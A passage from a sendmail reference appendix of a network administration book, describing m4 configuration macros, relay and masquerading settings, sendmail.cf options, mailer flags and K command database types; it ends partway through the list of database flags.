The last two features are used to select optional programs for the local and the prog mailers. local_procmail selects procmail as the local mailer. Provide the path to procmail as the argument in the FEATURE command. The smrsh feature selects the sendmail Restricted SHell (smrsh) as the prog mailer. smrsh provides improved security over /bin/sh, which is normally used as the prog mailer. Provide the path to smrsh as the argument in the FEATURE command.

The FEATURE commands discussed in this section and the define macros discussed previously are used to build the m4 source files. The remainder of this section describes the purpose and structure of the OSTYPE, DOMAIN, and MAILER source files.

E.3.3 OSTYPE

The source file for the OSTYPE macro defines operating system-specific parameters. Many operating systems are pre-defined. Look in the sendmail/cf/ostype directory for a full listing of the systems that are already defined.

OSTYPE source files are mostly composed of define macros. Table 13.7 lists the define parameters most frequently associated with the OSTYPE source file and the function of each parameter. The default value assigned to each parameter is shown enclosed in square brackets after its functional description, if the parameter has a default value.

Table E.4: OSTYPE Defines
Parameter | Function
ALIAS_FILE | Name of the alias file. [/etc/aliases]
HELP_FILE | Name of the help file. [/usr/lib/sendmail.hf]
QUEUE_DIR | Directory containing queue files. [/var/spool/mqueue]
STATUS_FILE | Name of the status file. [/etc/sendmail.st]
LOCAL_MAILER_PATH | The local mail delivery program. [/bin/mail]
LOCAL_MAILER_FLAGS | Local mailer flags added to "lsDFM". [rmn]
LOCAL_MAILER_ARGS | Arguments for local mail delivery. [mail -d $u]
LOCAL_MAILER_MAX | Maximum size of local mail.
LOCAL_MAILER_CHARSET | Character set for local 8-bit MIME mail.
LOCAL_SHELL_PATH | Shell used to deliver piped email. [/bin/sh]
LOCAL_SHELL_FLAGS | Flags added to lsDFM for the shell mailer. [eu]
LOCAL_SHELL_ARGS | Arguments for the "prog" mail. [sh -c $u]
LOCAL_SHELL_DIR | Directory which the shell should run. [$z:/]
USENET_MAILER_PATH | Program used for news. [/usr/lib/news/inews]
USENET_MAILER_FLAGS | Usenet mailer flags. [rlsDFMmn]
USENET_MAILER_ARGS | Arguments for the usenet mailer. [-m -h -n]
USENET_MAILER_MAX | Maximum size of usenet mail messages. [100000]
SMTP_MAILER_FLAGS | Flags added to "mDFMUX" for all SMTP mailers.
SMTP_MAILER_MAX | Maximum size of messages for all SMTP mailers.
SMTP_MAILER_ARGS | smtp mailer arguments. [IPC $h]
ESMTP_MAILER_ARGS | esmtp mailer arguments. [IPC $h]
SMTP8_MAILER_ARGS | smtp8 mailer arguments. [IPC $h]
RELAY_MAILER_ARGS | relay mailer arguments. [IPC $h]
SMTP_MAILER_CHARSET | Character set for SMTP 8-bit MIME mail.
UUCP_MAILER_PATH | Path to the UUCP mail program. [/usr/bin/uux]
UUCP_MAILER_FLAGS | Flags added to "DFMhuU" for the UUCP mailer.
UUCP_MAILER_ARGS | UUCP mailer arguments.
 | [uux - -r -z -a$g -gC $h!rmail ($u)]
UUCP_MAILER_MAX | Maximum size for UUCP messages. [100000]
UUCP_MAILER_CHARSET | Character set for UUCP 8-bit MIME mail.
FAX_MAILER_PATH | Path to the FAX program. [/usr/local/lib/fax/mailfax]
FAX_MAILER_ARGS | FAX mailer arguments. [mailfax $u $h $f]
FAX_MAILER_MAX | Maximum size of a FAX. [100000]
POP_MAILER_PATH | Path of the POP mailer. [/usr/lib/mh/spop]
POP_MAILER_FLAGS | Flags added to "lsDFM" for the POP mailer. [Penu]
POP_MAILER_ARGS | POP mailer arguments. [pop $u]
PROCMAIL_MAILER_PATH | Path to the procmail program. [/usr/local/bin/procmail]
PROCMAIL_MAILER_FLAGS | Flags added to "DFMmn" for the Procmail mailer. [Shu]
PROCMAIL_MAILER_ARGS | Procmail mailer arguments. [procmail -m $h $f $u]
PROCMAIL_MAILER_MAX | Maximum size message for the Procmail mailer.
MAIL11_MAILER_PATH | Path to the mail11 mailer. [/usr/etc/mail11]
MAIL11_MAILER_FLAGS | Flags for the mail11 mailer. [nsFx]
MAIL11_MAILER_ARGS | mail11 mailer arguments. [mail11 $g $x $h $u]
PH_MAILER_PATH | Path to the phquery program. [/usr/local/etc/phquery]
PH_MAILER_FLAGS | Flags for the phquery mailer. [ehmu]
PH_MAILER_ARGS | phquery mailer arguments. [phquery -- $u]
CYRUS_MAILER_FLAGS | Flags added to "lsDFMnP" for the cyrus mailer. [A5@]
CYRUS_MAILER_PATH | Path to the cyrus mailer. [/usr/cyrus/bin/deliver]
CYRUS_MAILER_ARGS | cyrus mailer arguments. [deliver -e -m $h -- $u]
CYRUS_MAILER_MAX | Maximum size message for the cyrus mailer.
CYRUS_MAILER_USER | User and group used to the cyrus mailer. [cyrus:mail]
CYRUS_BB_MAILER_FLAGS | Flags added to "lsDFMnP" for the cyrusbb mailer.
CYRUS_BB_MAILER_ARGS | cyrusbb mailer arguments. [deliver -e -m $u]

Despite the long list of parameters in Table 13.7 most OSTYPE macros are very short. The largest OSTYPE file in the sendmail V8 distribution contains only eight defines. There are a few reasons for this. First, many of the parameters in the table are redundant. They define the same things for different mailers, and no operating systems uses all of the mailers. Second, the default values are often correct. A define only needs to be made if the operating system requires a value different than the default.

E.3.4 DOMAIN

The DOMAIN source file defines configuration parameters that are related to the local domain. Chapter 10 provides an example of a DOMAIN file built for the imaginary nuts.com domain.

Table 13.8 shows some define macros that commonly appear in DOMAIN files. (See the syntax of the define macro earlier.) This table lists the parameters and the function of each parameter. All of these parameters are used to define mail relay hosts. The value provided for each parameter is either a hostname, i.e., the name of a mail relay server, or a mailer:hostname pair where the mailer is the internal name of a local sendmail mailer and the hostname is the name of the remote mail relay server. If only a hostname is used, the mailer defaults to relay, which is the name of the SMTP relay mailer. If no values are provided for these parameters, the BITNET, DECNET, and FAX pseudo-domains are not used, and the local host must be able to handle its own UUCP and "local" mail.

Table E.5: Mail Relay Defines
Parameter | Function
UUCP_RELAY | Server for UUCP-addressed email
BITNET_RELAY | Server for BITNET-addressed email
DECNET_RELAY | Server for DECNET-addressed email
FAX_RELAY | Server for mail to the .FAX pseudo-domain[6]
LOCAL_RELAY | Sever for unqualified names
LUSER_RELAY | Server for apparently local names that really aren't local
MAIL_HUB | Server for all incoming mail
SMART_HOST | Server for all outgoing mail

[6] The "fax" mailer overrides this value.

The precedence of the relays defined by these parameters is from the most specific to the least specific. If both the BITNET_RELAY and the SMART_HOST relay are defined, the BITNET_RELAY is used for outgoing BITNET mail even though the SMART_HOST relay is defined as handling "all" outgoing mail. If you define both LOCAL_RELAY and MAIL_HUB, you must also use the FEATURE(stickyhost) command to get the expected behavior.

When the stickyhost feature is specified, LOCAL_RELAY handles all local addresses that do not have a host part, and MAIL_HUB handles all local addresses that do have a host part. If stickyhost is not specified and both relays are defined, the LOCAL_RELAY is ignored and MAIL_HUB handles all local addresses.

In addition to the defines shown in Table 13.8 there are a group of macros that relate to masquerading and relaying that also appear in the DOMAIN source file. Some of these are used in the examples in Chapter 10. The macros are:

LOCAL_USER(usernames)

Defines local usernames that should not be relayed even if LOCAL_RELAY or MAIL_HUB are defined. This command is the same as adding usernames to class L in the sendmail.cf file.

MASQUERADE_AS(host.domain)

Converts the host portion of the sender address on outgoing mail to the domain name defined by host.domain. Sender addresses that have no hostname or that have a hostname found in the w class are converted. This has the same as effect as defining host.domain for the M macro in the sendmail.cf file. See examples of MASQUERADE_AS and macro M in Chapter 10.

MASQUERADE_DOMAIN(otherhost.domain)

Converts the host portion of the sender address on outgoing mail to the domain name defined by the MASQUERADE_AS command, if the host portion of the sender address matches otherhost.domain. This command must be used in conjunction with MASQUERADE_AS. Its effect is the same as adding hostnames to class M in the sendmail.cf file. See Chapter 10.

MASQUERADE_DOMAIN_FILE(filename)

Loads otherhost.domain hostnames from the file identified by filename. This can be used in place of multiple MASQUERADE_DOMAIN commands. Its effect is the same as loading class M from a file by using the FM filename command in the sendmail.cf file.

EXPOSED_USER(username)

Disables masquerading when the user portion of the sender address matches username. Some usernames, such as root, occur on many systems and are therefore not unique across a domain. For those usernames, converting the host portion of the address makes it impossible to sort out where the message really came from and makes replies impossible. This command prevents the MASQUERADE_AS command from having an effect on the sender addresses for specific users. This is the same as setting the values in class E in the sendmail.cf file.

There are several features that affect relaying and masquerading. We have already discussed FEATURE(stickyhost). Others are:

FEATURE(masquerade_envelope)

Causes envelop addresses to be masqueraded in the same way that sender addresses are masqueraded. See Chapter 10 for an example of this command.

FEATURE(allmasquerade)

Causes recipient addresses to be masqueraded in the same way that sender addresses are masqueraded. Thus, if the host portion of the recipient address matches the requirements of the MASQUERADE_AS command, it is converted. Don't use this feature unless you are positive that every alias known to the local system is also known to the mail server that handles mail for the masquerade domain.

FEATURE(limited_masquerade)

Limits masquerading to those hosts defined in class M. The hosts defined in class w are not masqueraded.

FEATURE(masquerade_entire_domain)

Causes MASQUERADE_DOMAIN to be interpreted as referring to all hosts with an entire domain. If this feature is not used, only an address that exactly matches the value defined by MASQUERADE_DOMAIN is converted. If this feature is used, all addresses that end with the value defined by MASQUERADE_DOMAIN are converted. For example, assume that the options MASQUERADE_AS(nuts.com) and MASQUERADE_DOMAIN(sales.nuts.com) are defined. If FEATURE (masquerade_entire_domain) is set, every hostname in the sales.nuts.com domain is converted to nuts.com on outgoing email. Otherwise only the hostname sales.nuts.com is converted.

See the "FEATURE" section earlier in this chapter for more information on the available features.

E.3.5 MAILER

It is possible that you will need to customize a file location in an OSTYPE file or that you will need to define domain specific information in a DOMAIN file, but unless you develop your own mail delivery program you will not need to create a MAILER source file. Instead, you will need to invoke one or more existing files in your macro configuration file.

The available MAILER files are listed in Table 13.9 This table lists each MAILER value and its function. These are invoked using the MAILER(value) command in the macro configuration (.mc) file, where value is one of the mailer names from the table.

Table E.6: MAILER Values
Name | Function
local | The local and prog mailers
smtp | All SMTP mailers: smtp, esmtp, smtp8, and relay
uucp | All UUCP mailers: uucp-old (uucp) and uucp-new (suucp)
usenet | Usenet news support
fax | Fax support using FlexFAX software
pop | Post Office Protocol (POP) support
procmail | An interface for procmail
mail11 | The DECnet mail11 mailer
phquery | The phquery program for CSO phone book
cyrus | The cyrus and cyrusbb mailers

Your macro configuration file should have a MAILER(local) and a MAILER(smtp) entry. This gives you the local and prog mailers required by sendmail, the smtp mailer for standard SMTP mail, the esmtp mailer for Extended SMTP, the smtp8 mailer for 8-bit MIME mail, and the relay mailer for the various mail relay servers mentioned in the "DOMAIN" section of this appendix. Selecting local and smtp provides everything you need for a standard TCP/IP installation.

Of all the remaining mailers, only uucp is widely used. uucp provides UUCP mail support for systems directly connected to UUCP networks. The uucp-old mailer supports standard UUCP mail and the uucp-new mailer is used for remote sites that can handle multiple recipients in one transfer. The system needs the mailer that is correct for the capabilities of the remote site. Use class U to define the hostnames of systems that need the old mailer and class Y for the names of remote systems that can work with the new mailer. Specify MAILER(uucp) after the MAILER(smtp) entry if your system has both TCP/IP and UUCP connections. Ordering the MAILER statements in this way adds two more mailers to the two standard UUCP mailers: the uucp-dom mailer to support standard domain names, and the uucp-uudom mailer to support standard domain names with a standard UUCP envelop.

The other mailers are rarely used:

usenet

Modifies the sendmail rewrite rules to send local mail that contains ".usenet" in the username to the program inews. Instead of this mailer, choose a user mail agent that supports Usenet news. Don't hack sendmail to handle it.

fax

This is still experimental in sendmail V8, though built-in fax support could be useful when it is ready.

pop

On most systems, POP support is provided separately by the popd daemon, and the MAILER(pop) command is not used.

procmail

Only provides an interface to procmail for use in the mailertable. The sendmail V8 distribution does not provide procmail. Even when procmail is used as the local mailer, as it is in Slackware Linux, the MAILER(procmail) command is not required.

mail11

Only used on DECNET mail networks that use the mail11 mailer.

phquery

Provides a name lookup program for the CSO phone book (ph) directory service. User directory services are usually configured in the user mail agent, not in sendmail.

cyrus

This is a local mail delivery program with a mailbox architecture. cyrus and cyrusbb mailers are not widely used.

This concludes our discussion of m4 macros. The output of all of the files and commands that go into the m4 processor is a sendmail.cf file. The remainder of this appendix provides additional details about the sendmail.cf configuration and excerpts from a sendmail.cf file. The bulk of information about sendmail.cf is found in Chapter 10.

Previous: E.2 The sendmail Command | TCP/IP Network Administration | Next: E.4 More sendmail.cf
E.2 The sendmail Command | Book Index | E.4 More sendmail.cf


[Appendix E] E.4 More sendmail.cf

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: E.3 m4 sendmail Macros Appendix E
A sendmail Reference 		Next: E.5 Sample Configurations

E.4 More sendmail.cf

Many options and flags can be used in configuring the sendmail.cf file. All of the important configuration parameters are covered in Chapter 10. But if you are unlucky enough to have a configuration that requires you to tweak one of the more obscure parameters, you will find all of them in the following tables.

E.4.1 sendmail Classes

sendmail has many internal macros. As of sendmail V8, it also has some internal classes. Some of these classes (e, n, q, and s) have been added to support new MIME mail features. A few (k, m, and w) hold the multiple hostnames and domains associated with a well-connected host. The last one (t) holds the list of trusted users. The full list of internal classes is shown in Table 13.10

Table E.7: Internal sendmail Classes
Name | Stores
e | Supported MIME Content-Transfer-Encodings. Initialized to 7bit, 8bit, and binary
k | The system's UUCP node names
m | All local domains for this host
n | MIME body types that should never be 8- to 7-bit encoded. Initialized to multipart/signed
q | MIME Content-Types that should not be Base64-encoded. Initialized to text/plain
s | MIME message subtypes that can be processed recursively. Initialized to rfc822
t | The list of trusted users
w | All hostnames this system will accept as its own

E.4.2 sendmail Options

A large number of sendmail options can be set inside of the sendmail configuration file. Chapter 10 provides the syntax of the option command in Table 10-1 and several examples of options. The complete list of options is:

AliasFile=[class:]file, [class:]file...

Identify the alias file(s). class is optional and defaults to "implicit". Valid classes are "implicit", "hash", "dbm", "stab" (internal symbol table) or "nis". The selected database class must be a database type that was compiled into sendmail on your system. file is the pathname of the alias file.

AliasWait=timeout

Wait timeout minutes for an "@:@" entry to appear in the alias database before starting up. When timeout expires, automatically rebuild the database if AutoRebuildAliases is set; otherwise, issue a warning.

AllowBogusHELO

Accept illegal HELO SMTP commands that don't contain a hostname.

AutoRebuildAliases

Automatically rebuild the alias database when necessary. The preferred method is to rebuild the alias database with an explicit newaliases command.

BlankSub=c

Use c as the blank substitution character to replace unquoted spaces in addresses. The default is to leave the spaces unchanged.

CheckAliases

Check that the delivery address in each aliases is valid when rebuilding the alias database. Normally this check is not done. Adding this check slows the database build substantially. This is a Boolean.

CheckpointInterval=n

Checkpoint the queue after every n items are processed to simplify recovery if your system crashes during queue processing. The default is 10.

ClassFactor=fact

The multiplier used to favor messages with a higher value in the Priority: header. Defaults to 1800.

ColonOkInAddr

Accept colons in email addresses (e.g., host:user). Colons are always accepted in pairs in mail routing (nodename::user) or in an RFC 822 group constructs (groupname: member1, member2, ...;). By default, this option is "on" if the configuration version level is less than 6.

ConnectionCacheSize=n

The number of connections that can be held open (cached) by this instantiation of sendmail. The default is 1. The maximum is 4. 0 causes connections to closed immediately after the data is sent, which is the traditional way sendmail operated.

ConnectionCacheTimeout=timeout

The amount of time an inactive cached connection is held open. After timeout minutes of inactivity it is closed. The default is 5 minutes.

ConnectionRateThrottle=n

Limit the number of incoming connections accepted in any 1-second period to n. The default is 0, which means no limit.

DaemonPortOptions=options

Set SMTP server options. The options are key=value pairs. The options are:

  • Port=portnumber, where portnumber is any valid port number. It can be specified with the number or the name found in /etc/services. The default is port 25, smtp.

  • Addr=mask, where mask is an IP address mask specified either in dotted decimal notation or as a network name. The default is INADDR-ANY, which accepts all addresses.

  • Family=addressfamily, where addressfamily is a valid address family (see the ifconfig command). The default is INET, which allows IP addresses to be used.

  • Listen=n, where n is a the number of queued connections allowed. The default is 10.

  • SndBufSize=n, where n is the send buffer size.

  • RcvBufSize=n, where n is the receive buffer size.

DefaultCharSet=charset

The character set placed in the Content-Type: header when 8-bit data is converted to MIME format. The default is "unknown-8bit". This option is overridden by the Charset= field of the mailer descriptor.

DefaultUser=user[:group]

The default user ID and group ID for mailers without the S flag in their definitions. If group is omitted, the group associated with user in the /etc/passwd file is used. The default is 1:1.

DeliveryMode=x

Deliver in mode x, where x is i (interactive delivery), b (background delivery), q (queue the message), or d (defer until the queue run). The default is b.

DialDelay=delaytime

Delay delaytime seconds before redialing a failed connection on dial-on-demand networks. The default is 0 (no redial).

DontExpandCnames

Disable the $[name$] syntax used to convert nicknames to canonical names.

DontInitGroups

Don't use the initgroups(3) call. This setting reduces NIS server load, but limits a user to the group associated with that user in /etc/passwd.

DontPruneRoutes

Don't optimize explicit mail routes. Normally, sendmail makes a route as direct as possible. However, optimizing the route may not be appropriate for systems located behind a firewall.

DoubleBounceAddress=error-address

Send the report of an error that occurs when sending an error message to error-address. The default is "postmaster".

EightBitMode=action

Handle undeclared 8-bit data by following the specified action. The possible actions are: s (strict), reject undeclared 8-bit data; m (mime), convert it to MIME; and p (pass), pass it through unaltered.

ErrorHeader=file-or-message

Prepend file-or-message to outgoing error messages. If file-or-message is the path to a text file that is to be prepended, it must begin with a slash. If this option is not defined, nothing is prepended to error messages.

ErrorMode=x

Handle errors messages according to x, where x is: p (print messages); q (give exit status but no messages); m (mail back messages); w (write messages to the user's terminal); e (mail back messages and always give zero exit status). If this option is not defined, error messages are printed.

FallbackMXhost=fallbackhost

Use fallbackhost as a backup MX server for every host.

ForkEachJob

Run a separate process for every item delivered from the queue. This option reduces the amount of memory needed to process the queue.

ForwardPath=path

The path to search for .forward files. Multiple paths can be defined by separating them with colons. The default is $z/.forward.

HelpFile=file

The path to the help file.

HoldExpensive

Queue mail for outgoing mailers that have the e (expensive) mailer flag. Normally mail is delivered immediately.

HostsFile=path

The path to the hosts file. The default is /etc/hosts.

HostStatusDirectory=path

Directory in which host status information is stored so that it can be shared between sendmail processes. Normally, the status of a host or connection is only known by the process that discovers that status. To function, this option requires that ConnectionCacheSize be set to at least 1.

IgnoreDots

Ignore dots in incoming messages. Dots cannot be ignored by SMTP mail because they are used to mark the end of a mail message.

LogLevel=n

n indicates the level of detail stored in the log file. n defaults to 9, which is normally plenty of detail.

MatchGECOS

Check the username from the email address against the GECOS field of the passwd file if it was not found in the alias database or in the username field of the passwd file. This option is not recommended.

MaxDaemonChildren=n

Refuse connections when n children are processing incoming mail. Normally sendmail sets no arbitrary limit on child processes.

MaxHopCount=n

Assume a message is looping when it has been processed more than n times. The default is 25.

MaxHostStatAge=n

Retain host status information for n minutes.

MaxMessageSize=n

The maximum message size advertised in response to the ESMTP EHLO. Messages larger than this are rejected.

MaxQueueRunSize=n

The maximum number of item that can be processed in a single queue run. The default is no limit.

MeToo

Send a copy to the sender.

MinFreeBlocks=n

Don't accept incoming mail unless n blocks are free in the queue filesystem.

MinQueueAge=n

Don't process any jobs that have been in the queue less than n minutes.

MustQuoteChars=s

The list of characters added to the set "@,;:\()[]" that must be quoted when used in the username part of an address. If MustQuoteChars is specified without an s value, it adds "." to the standard set of quoted characters.

NoRecipientAction=action

The action taken when a message has no valid recipient headers. action can be none to pass the message on unmodified, add-to to add a To: header using the recipient addresses from the envelope, add-apparently-to to add an Apparently-To: header, add-to-undisclosed to add a "To: undisclosed-recipients:;" header, or add-bcc to add an empty Bcc: header.

OldStyleHeaders

Allow spaces to delimit names. Normally, commas delimit names.

OperatorChars=charlist

The list of operator characters that are normally defined in macro o. The default is the standard set of operators. See the discussion of rewrite tokens, and the use of operators in determining tokens, in Chapter 10.

PostmasterCopy=username

Copy error messages to username. The default is not to send copies of error messages to the postmaster.

PrivacyOptions=options

Set SMTP protocol options, where options is a comma-separated list containing one or more of these keywords:

  • public: allow all commands

  • needmailhelo: require HELO or EHLO before MAIL

  • needexpnhelo: require HELO or EHLO before EXPN

  • noexpn: disable EXPN

  • needvrfyhelo: require HELO or EHLO before VRFY

  • novrfy: disable VRFY

  • restrictmailq: restrict mailq to users with group access to the queue directory

  • restrictqrun: only root and the owner of the queue directory are allowed to run the queue

  • noreceipts: don't return successful delivery messages

  • goaway: disable all SMTP status queries

  • authwarnings: put X-Authentication-Warning: headers in messages

QueueDirectory=directory

directory is the pathname of the queue directory.

QueueFactor=factor

The factor used with the difference between the current load and the load average limit and with the message priority to determine if a message should be queued or sent immediately. The idea is to queue low-priority messages if the system is currently heavily loaded. It defaults to 600000.

QueueLA=n

Queue messages when the system load average exceeds n. The default is 8.

QueueSortOrder=sequence

Sort the queue in the sequence specified, where sequence is: h (hostname sequence); t (submission time sequence); or p (message priority order). Priority ordering is the default.

ResolverOptions=options

Set resolver options. Available option values are: debug, aaonly, usevc, primary, igntc, recurse, defnames, stayopen, and dnsrch. The option can be preceded by a plus (+) to turn it on or a minus (-) to turn it off. One other option, HasWildcardMX, is specified without a + or -. Simply adding HasWildcardMX turns the option on.

RunAsUser=userid[:groupid]

Run sendmail under this user ID and group ID instead of under root. This may enhance security when the sendmail is running on a well maintained firewall. On general purpose systems, this may decrease security because it requires that many files be readable or writable by this user ID.

RecipientFactor=factor

The priority of a job is lowered by this factor for each recipient, so that jobs with large numbers of recipients have lower priority. Defaults to 30000.

RefuseLA=n

Refuse incoming SMTP connections when the system load average exceeds n. The default is 12.

RetryFactor=factor

The factor used to decrease the priority of a job every time it is processed, so that mail that cannot be delivered does not keep popping to the top of the queue. The default is 90000.

SafeFileEnvironment=directory

chroot(2) to directory before writing a file and refuse to deliver to symbolic links.

SaveFromLine

Save UNIX-style From: lines at the front of headers. Normally they are discarded.

SendMIMEErrors

Send error messages in MIME format.

ServiceSwitchFile=path

The path to a file that lists the of methods used for various services. The ServiceSwitchFile contains entries that begin with the service name followed by the service method. sendmail checks for services named "aliases" and "hosts" and supports "dns", "nis", "nisplus", or "files" as possible service methods, assuming that support for all of these methods is compiled into this copy of sendmail. ServiceSwitchFile defaults to /etc/service.switch. If that file does not exist, sendmail uses the following service methods: aliases are looked up in the aliases files, and hosts are looked up first using dns, then nis, and finally the hosts file. If the operating system has a built-in service switch feature, it is used and this option is ignored. See the description of the nsswitch.conf file in Chapter 9, Configuring Network Servers . It is a service switch file.

SevenBitInput

Strip input to 7 bits for compatibility with old systems. This shouldn't be necessary.

SingleLineFromHeader

For compatibility with some versions of Lotus Notes, unwrapped From: lines that have embedded newlines into one long line.

SingleThreadDelivery

Don't open more than one SMTP connections to a remote host at the same time. This option requires the HostStatusDirectory option.

SmtpGreetingMessage=message

The greeting sent to the remote host when it connects to the SMTP server port. This is the value defined in macro e.

StatusFile=file

Log summary statistics in file. By default, summary statistics are not logged.

SuperSafe

Create a queue file, even when attempting immediate delivery.

TempFileMode=mode

Use mode to set the access permissions for queue files. mode is an octal value. It defaults to 0600.

Timeout.type=timeout

Set timeout values, where type is the thing being timed and timeout is the time interval before the timer expires. Table 13.11 lists the valid type values, the event being timed and the default timeout value for each type.

Table E.8: Timeout Types
Type | Waiting For | Default
initial | Initial greeting message | 5m
helo | Reply to HELO or EHLO command | 5m
mail | Reply to MAIL command | 10m
rcpt | Reply to RCPT command | 1h
datainit | Reply to DATA command | 5m
datablock | Data block read | 1h
datafinal | Reply to terminating "." | 1h
rset | Reply to RSET command | 5m
quit | Reply to QUIT command | 2m
misc | Reply to NOOP and VERB commands | 2m
ident | IDENT protocol response | 30s
fileopen | Open on a .forward or :include: file | 60s
command | Command read | 1h
queuereturn | Returning a queued message as undeliverable | 5d
queuewarn | Warning that a message is still queued | none
hoststatus | Removing stale host status | 30m

TimeZoneSpec=tzinfo

Set the local time zone information to tzinfo. If TimeZoneSpec is not set, the system default is used; if set to null, the user's TZ variable is used.

TryNullMXList

Connect directly to any remote host that lists the local system as its most preferred MX server, as if the remote host had no MX records. You are discouraged from using this option.

UnixFromLine=fromline

Defines the format for UNIX-style From: lines. This is the same as the value stored in macro l.

UnsafeGroupWrites

Group writable :include: and .forward files cannot reference programs or write directly to files. World-writable files always have these restrictions.

UseErrorsTo

Send error messages to the addresses listed in the Errors-To: header. Normally, errors are sent to the sender address form the envelope.

UserDatabaseSpec=udbspec

The user database specification.

UserSubmission

Indicates that this is not relayed mail, but an initial submission directly from a Mail User Agent.

Verbose

Run in verbose mode.

Older versions of sendmail use a different option syntax:

o xvalue

In this syntax o is the command, x is a single character option name, and value is the value passed to sendmail to set the option. Some options are Booleans that require no input value. Table 13.12 lists all of the old-style options.

Table E.9: Old-Style sendmail Options
Name | Function
A file | Define the name of the alias file.
a N | Wait N minutes for @:@; then rebuild the alias file.
B c | Define the blank substitution character.
c | Queue mail for expensive mailers.
D | Rebuild the alias database.
db | Deliver in background mode.
di | Deliver interactively.
dq | Deliver during the next queue run.
ee | Mail error messages and always return 0 exit status.
em | Mail back error messages.
ep | Print error messages.
eq | Just return exit status, not error messages.
ew | Write back error messages.
F n | Set permissions for temporary files to n.
f | Retain UNIX-style From: lines.
g n | Set the default group ID for mailers to n.
H file | Define the name of the SMTP help file.
I | Use the BIND name server to resolve all hostnames.
i | Ignore dots in incoming messages.
L n | Set the level of logging to n.
M xval | Set macro x to val.
m | Send to me, too.
N net | Define the name of the home network.
o | Accept old format headers.
Q dir | Define the name of the queue directory.
q n | Define a factor n used to decide when to queue jobs.
r t | Set interval t for read timeout.
S file | Define the name of the statistics log file.
s | Always create the queue file before attempting delivery.
T t | Set the queue timeout to t.
u n | Set the default user ID for mailers to n.
v | Run in verbose mode.
W pass | Define password used for remote debugging.
X l | Refuse SMTP connections if load average exceeds l.
x l | Queue messages if load average exceeds l.
Y | Deliver each queued job in a separate process.
y n | Lower priority of jobs by n for each recipient.
Z n | Decrease a job's priority by n each time it is run.
z n | Factor used with precedence to determine message priority.

See Chapter 10 for examples of setting options with both styles of syntax.

E.4.3 sendmail Mailer Flags

Mailer flags are declared in the F field of the mailer definition. Each mailer flag is set by a single character that represents that flag. For example: F=lsDFMe sets six different flags. Table 13.13 lists the single character name and function of each flag.

Table E.10: sendmail Mailer Flags
Name | Function
C | Add @domain to addresses that do not have an @.
D | The mailer wants a Date: header line.
E | Add > to message lines that begin with From:.
e | This an expensive mailer. See sendmail option c.
F | The mailer wants a From: header line.
f | The mailer accepts a -f flag from trusted users.
h | Preserve uppercase in hostnames.
I | The mailer will be speaking SMTP to another sendmail.
L | Limit the line lengths as specified in RFC821.
l | This is a local mailer.
M | The mailer wants a Message-Id: header line.
m | The mailer can send to multiple users in one transaction.
n | Don't insert a UNIX-style From: line in the message.
P | The mailer wants a Return-Path: line.
R | Use the MAIL FROM: return-path rather than the return address.
r | The mailer accepts a -r flag from trusted users.
S | Don't reset the userid before calling the mailer.
s | Strip quotes off of the address before calling the mailer.
U | The mailer wants UNIX-style From: lines.
u | Preserve uppercase in usernames.
X | Prepend a dot to lines beginning with a dot.
x | The mailer wants a Full-Name: header line.

See Chapter 10 for examples of mailer flag declaration within mailer definitions.

E.4.4 The sendmail K Command

The sendmail K command is used to define a database within the sendmail.cf file. The K command syntax is:

K name type [arguments]

Chapter 10 provides examples of defining and using a sendmail database, and it describes the K command syntax. This appendix lists the valid type values and arguments that can be used with a K command.

The type field of the K command identifies what kind of database is being defined. There are several internal database types that are specific to sendmail and several external types that rely on external database libraries. Support for the external database types must be compiled into sendmail by explicitly specifying the supported database types in the DBMDEF variable in the Makefile used to build sendmail. See the example of compiling sendmail earlier in this appendix.

The possible values for type are:

dbm

The "new dbm" database format. It is accessed using the ndbm(3) library. Only supported if sendmail is compiled with NDBM defined.

btree

The btree database format. It is accessed using the Berkeley db(3) library. Only supported if sendmail is compiled with NEWDB defined.

hash

The hash database format. It is accessed using the Berkeley db(3) library. Only supported if sendmail is compiled with NEWDB defined.

nis

NIS server lookups. sendmail must be compiled with NIS defined to support this.

nisplus

NIS+ server lookups. sendmail must be compiled with NISPLUS defined to support this.

hesiod

MIT hesiod server lookups. Support requires that sendmail is compiled with HESIOD defined.

ldapx

X500 directory searches using LDAP. sendmail must be compiled with LDAPMAP defined to support this. sendmail supports most of the standard command line arguments of the ldapsearch program.

netinfo

NeXT NetInfo lookups. Only supported if sendmail is compiled with NETINFO defined.

text

Text file lookups. Requires no external database libraries or compile options. The format of the text database is defined with the key field, value field, and field delimiter flags. See the next section for a description of the K command flags.

stab

An internal symbol table database.

implicit

The default internal sendmail format used for an alias file, if no type is defined for the file.

user

A special sendmail type used to verify the existence of a user by using getpwnam(3).

host

A special sendmail type used to convert nicknames and IP addresses to canonical names via the domain name server. This is an alternative form of the $[name]$ syntax.

sequence

A special sendmail type used to define the order in which previously defined databases are searched. For example, assume that three databases (file1, file2, and file3) are defined by K commands. It is possible to add a fourth K command, Kallfiles sequence file3 file1 file2, that "combines" them together as allfiles and specifies that file3 is searched first, file1 second, and file2 third.

switch

A special sendmail type that uses the service switch file to set the order in which database files are searched. The argument on a K command with a type of "switch" must be the name of a service in the service switch file. The values associated with the service name in the service switch file are used to create the names of databases that are searched in the order in which they are defined. For example: the command Kali switch aliases looks up the service switch entry for aliases. If it contains the values nis files, sendmail searches databases named ali.nis and ali.files in that order.

dequote

A special sendmail type used to strip unwanted double quotes (") from email addresses.

The argument that follows most database types is a filename. The filename identifies the external file that contains the database. Only the basic filename is provided. sendmail adds an extension appropriate for the database type. For example: Krealname dbm /usr/etc/names becomes /usr/etc/names.db because .db is the correct extension for dbm databases.

In addition to a filename, the arguments field can contain optional flags:

-o

This is an optional database. sendmail proceeds without error if the file is not found.

-N

Valid database keys are terminated with a NULL character.

-O

Valid database keys are never terminated with a NULL character. Never specify both -N and -O, which indicates that no keys are valid! It is safest to avoid both -N and -O and let sendmail determine the correct key structure unless you are positive about the correct flag.

-a x

Append the string x to the value return by a successful match.

-f

Do not convert uppercase to lowercase before attempting to match the key.

-m

Check that the key exists in the database, but do not replace the key with the value returned by the database.

-k keycol

The location of the key within a database entry. For most databases the key is the first field and this flag is not needed. For text file lookups this flag is required and keycol is the column number in which the key begins.

-v valcol

The location of the value within a database entry. For most databases, the value follows the key and the -v flag is not used. For text file lookups, this flag is required and specifies the column in which the value field begins.

-z delim

The character that delimits fields within the database. By default, it is whitespace.

-t

Allow database lookups that depend on remote servers to fail instead of queuing the mail for later processing. This is primarily used when you have DNS server problems. Normally when a remote server fails to respond the mail is put in the queue for later delivery. Setting this flag causes the mail to be immediately returned to the sender as undeliverable.

-s spacesub

